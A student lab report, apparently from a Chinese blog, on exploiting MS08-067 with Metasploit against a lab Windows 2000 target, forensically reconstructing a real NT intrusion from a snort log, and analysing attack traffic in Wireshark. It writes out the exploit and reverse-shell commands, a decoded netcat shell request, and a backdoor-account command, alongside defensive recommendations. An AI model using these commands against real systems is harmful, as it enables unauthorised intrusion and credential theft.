20251911 2025-2026-2 《网络攻防实践》实践六报告

1.实践内容

本次实践围绕 Windows 系统远程渗透攻击与防御分析展开,涵盖三个环节:

(1)Metasploit 远程渗透实战
使用 Kali 攻击机对 Windows 2000 靶机实施 MS08-067 漏洞利用,通过 Metasploit 框架完成漏洞扫描、有效载荷配置、反弹 Shell 获取的全过程,体验经典的远程缓冲区溢出攻击手法。

(2)取证分析实践
对一次真实的 NT 系统破解攻击日志进行流量还原,识别攻击者利用的 Unicode 目录遍历漏洞与 RDS 远程代码执行漏洞,梳理攻击链中信息收集、漏洞利用、工具上传、后门部署等阶段的行为特征,并给出针对性防御建议。

(3)团队对抗模拟
攻方利用 Metasploit 对桥接网络中的靶机实施渗透,获取系统控制权;防守方通过 Wireshark 同步捕获流量,分析攻击过程中的扫描特征、漏洞利用数据包及后渗透操作指令,实现攻防双向视角的实战演练。

2.实践过程

2.1 动手实践:Metasploit windows attacker

实验环境

操作系统 IP 地址
Kali Linux 192.168.200.64
Win2K 192.168.200.61

步骤一:启动 Metasploit 控制台
在 Kali 终端执行 msfconsole
image

进入 Metasploit 交互界面。

步骤二:搜索目标漏洞模块

输入 search ms08_067,筛选出与 MS08-067 漏洞相关的利用模块
image

步骤三:加载漏洞利用模块并查看选项
执行以下命令:

use exploit/windows/smb/ms08_067_netapi
show options

image

此时可见模块要求设置 RHOSTS(目标主机 IP)等参数,其余选项默认适用。

步骤四:选择并配置有效载荷
通过 show payloads 列出兼容载荷
image

此处选用 generic/shell_reverse_tcp 以建立反向 TCP 连接。随后设置参数:

set payload generic/shell_reverse_tcp
set LHOST 192.168.200.64
set RHOSTS 192.168.200.61

image

LHOST 为 Kali 本机 IP,用于接收反弹回来的 Shell。

步骤五:执行漏洞利用
输入 exploit 发起攻击。

image

Metasploit 提示成功建立会话,并返回目标主机的 Windows 命令行交互界面。通过执行 ipconfig /all 验证当前 IP 确为靶机地址
image

已获得远程控制权!

步骤六:流量捕获与分析
在攻击过程中同步开启 Wireshark,捕获 Kali 与靶机间的通信流量。设置过滤器 ip.addr == 192.168.200.61 && ip.addr == 192.168.200.64

image

观察到 SMB 协议交互及反向 Shell 建立后 TCP 端口 4444 上的加密数据流。追踪 TCP 流可还原在靶机上执行的命令及回显信息
image

证实攻击流量未采取额外混淆措施。


2.2 取证分析实践:解码一次成功的 NT 系统破解攻击

分析对象
snort 日志文件 snort-0204@0117.log
【记录了攻击者 IP 212.116.251.162 对蜜罐主机 172.16.1.106的完整攻击过程。】
用wireshrk打开此文件

分析过程与发现

(1) Unicode 目录遍历漏洞利用
首先过滤 HTTP 流量ip.addr == 172.16.1.106 && http
image
image

发现攻击者构造了包含 %C0%AF 编码的恶意 GET 请求:
image

%C0%AF 是字符 / 的非法 UTF-8 超长编码。早期 IIS 在路径规范化时先检查 ../ 再解码 Unicode,导致攻击者可绕过目录限制,读取网站根目录外的系统文件。服务器返回了 boot.ini 内容,泄露了操作系统版本信息。

(2) RDS 远程代码执行漏洞利用
随后出现大量对 /msadc/msadc.dll 的请求
image
表明攻击者正在探测 RDS 组件漏洞(MS02-065)。

追踪包含 POST 请求的 TCP 流tcp.stream eq 11
image

可见攻击载荷通过 boundary 分隔符嵌入 SQL 注入语句,利用堆溢出(?)在服务器端执行任意命令。

(3) 命令执行与反弹 Shell

在追踪攻击者利用 RDS 漏洞的后续活动时,重点关注了 HTTP 请求中是否出现对系统可执行文件的直接调用。经过对相关会话的筛查,一条携带明确命令行参数的 GET 请求引起了注意。
image

URL 解码
image

还原该请求的完整路径如下:
在数据包编号 1233 的 HTTP GET 请求中,路径被解码为:

/msadc/../../../../program files/common files/system/msadc/cmd1.exe?/c+nc+-l+-p+6969+-e+cmd1.exe

攻击者借助路径跳转定位到 cmd1.exe,并通过参数 -l -p 6969 -e cmd1.exe 在目标 6969 端口监听,反弹命令行 Shell,为后续完全控制奠定基础。

(4) 后渗透活动
对捕获流量中的 FTP 协议会话进行专项提取。通过过滤端口 21 的控制连接并追踪 TCP 流
image

  • FTP 登录与工具上传:攻击者通过明文 FTP 传输,使用账号 johna2k / haxedj00 登录,上传 nc.exepdump.exesamdump.dll 等工具至服务器。

  • 密码窃取:运行 pdump.exe 配合 samdump.dll 提取系统账户哈希,为横向移动做准备。

(5) 攻击链总结

  1. 利用 Unicode 漏洞读取 boot.ini,确认目标为 Windows NT 4.0 + IIS 4.0。
  2. 利用 RDS 堆溢出漏洞(MS02-065)获取 SYSTEM 权限初始 Shell。
  3. 通过 FTP 下载后渗透工具集。
  4. 部署 Netcat 反弹 Shell 保持持久化访问。
  5. 窃取系统账户信息。

(6) 攻击者是否察觉蜜罐?
过滤数据包得跟踪得
7cc83f456249c564fca94559be74df0
说明攻击机已经警觉,只是并未立即终止活动,反而故意留下戏谑信息(echo best honeypot i've seen till now 😃 > rfp.txt)

(7) 防御建议

  • 漏洞修复:及时安装 MS00-078、MS01-026、MS02-065 等安全补丁,删除 IIS 默认虚拟目录及危险组件。
  • 访问控制:限制 Web 服务账户权限,禁止访问系统目录。
  • 流量监控:部署 WAF 过滤包含 %C0%AF../ 等特征的恶意请求,并审计 IIS 日志中异常路径访问。

2.3 团队对抗实践:Windows 系统远程渗透攻击与分析

攻方信息

  • 使用漏洞:MS08-067(Microsoft Server Service 相对路径栈溢出)
  • 攻击机 IP:192.168.200.64(Kali)
  • 靶机 IP:192.168.200.61(Windows 2K)

攻击实施过程
攻方按照 2.1 节步骤成功获取靶机反向 Shell
image

后渗透操作验证

  • 使用 net user testuser 123456 /add 创建本地账户 testuser
    image

通过 net user testuser 验证账户
image

添加成功,证明当前 Shell 已具备 SYSTEM 级别权限。

  • 执行 dir C:\dir C:\WINNT\system32 命令
    image

确认可自由浏览关键系统目录,为后续持久化或横向移动提供基础。

防守方流量分析

防守方在攻击开始前即启动 Wireshark,监听桥接模式下所有虚拟网卡流量,并设置过滤器 ip.addr == 192.168.200.64 && ip.addr == 192.168.200.61 以聚焦攻防双方通信。通过对捕获数据包的逐层解析,还原出攻击的完整网络行为特征:

  1. SMB 探测与会话建立阶段
    image

    • 观察到攻击机向靶机 445 端口发起 TCP 三次握手
      image

    • 随后进行 SMB 协议协商(Negotiate Protocol Response),双方协商使用 NT LM 0.12 方言。
      image

    • 紧接着出现 NetBIOS 会话服务数据包,其中包含 Session Setup AndX Request,攻击机尝试使用空会话或匿名凭据建立 SMB 连接,为后续漏洞利用做准备。
      image

  2. 漏洞触发与利用阶段
    image
    image
    图中出现大量连续的 Write AndX Response 数据包,表明攻击机正在通过已建立的命名管道向靶机写入数据。尽管 Wireshark 未直接捕获到 SMB_COM_TRANSACTION 请求包(可能由于抓包时机略晚于漏洞触发瞬间),但结合 Metasploit 攻击原理与靶机后续行为,这些 Write 操作正是向 \PIPE\srvsvc 管道注入畸形路径字符串的过程,旨在触发 MS08-067 栈溢出漏洞。在正常 SMB 通信中,极少出现如此密集的连续写入响应,这一异常模式本身就是攻击流量的显著特征。

  3. 反向 Shell 建立阶段
    漏洞触发成功后,靶机(192.168.200.61)主动向攻击机(192.168.200.64)的 4444 端口发起 TCP 连接请求,建立了一条反向 Shell 通道。防守方通过新增过滤器 tcp.port == 4444 追踪该会话
    image
    image

发现以下关键证据:

  • 连接方向与正常 SMB 通信相反(靶机为 SYN 发起方),符合反向 Shell 典型行为。
  • TCP 流内容以明文形式传输,可清晰看到攻击者键入的命令,以及靶机返回的系统信息和命令执行结果。
  • 交互数据中包含 Windows 命令行提示符 C:\WINNT\system32>,确认攻击者已获得交互式 Shell 权限。
  1. 流量特征归纳
    image

通过对上述流量的分析,防守方总结出 MS08-067 远程渗透攻击在本次实验中的网络层特征:

  • SMB 会话异常:短时间内密集出现 Session Setup AndXTree Connect AndXNT Create AndX 及连续 Write AndX 操作,与正常文件共享行为显著不同。
  • 明文命令回显:攻击者未对 Shell 会话加密,导致后渗透操作全程可读,为防守方提供了直接的取证依据。

防守方通过流量分析验证了攻击特征,明确了 MS08-067 漏洞利用在网络层面的可检测性。


3. 学习中遇到的问题及解决

问题一:Metasploit 攻击时正确设置 payload 后仍无法获得反弹 Shell

  • 现象:按照教程依次执行 search ms08_067use exploit/windows/smb/ms08_067_netapiset payload generic/shell_reverse_tcpset LHOST 192.168.200.64set RHOSTS 192.168.200.61 后,运行 exploit 命令,Metasploit 提示攻击已完成但并未出现会话,靶机端也无任何反应。
  • 原因分析:我的两台虚拟机使用了 NAT 模式与桥接模式混用,导致反向连接时路由不可达。
  • 解决方法:将两台虚拟机均切换为桥接模式并重新分配同网段静态 IP

问题二:后渗透操作中部分 Windows 命令无法执行

  • 现象:在使用 net user testuser /add 创建用户提示命令语法错误。
  • 原因分析:反弹 Shell 的环境变量可能未完全继承,导致 net.exe 路径未被识别。
  • 解决方法:使用 echo %USERNAME% 查看当前用户;对于 net user 命令,指定完整路径 C:\WINNT\system32\net.exe user testuser 123456 /add 执行。

4. 实践总结

本次实验锻炼了我的工具操作能力,为后续实战打下坚实基础。

posted @ 2026-04-25 10:15  yuzzz11111  阅读(28)  评论(0)    收藏  举报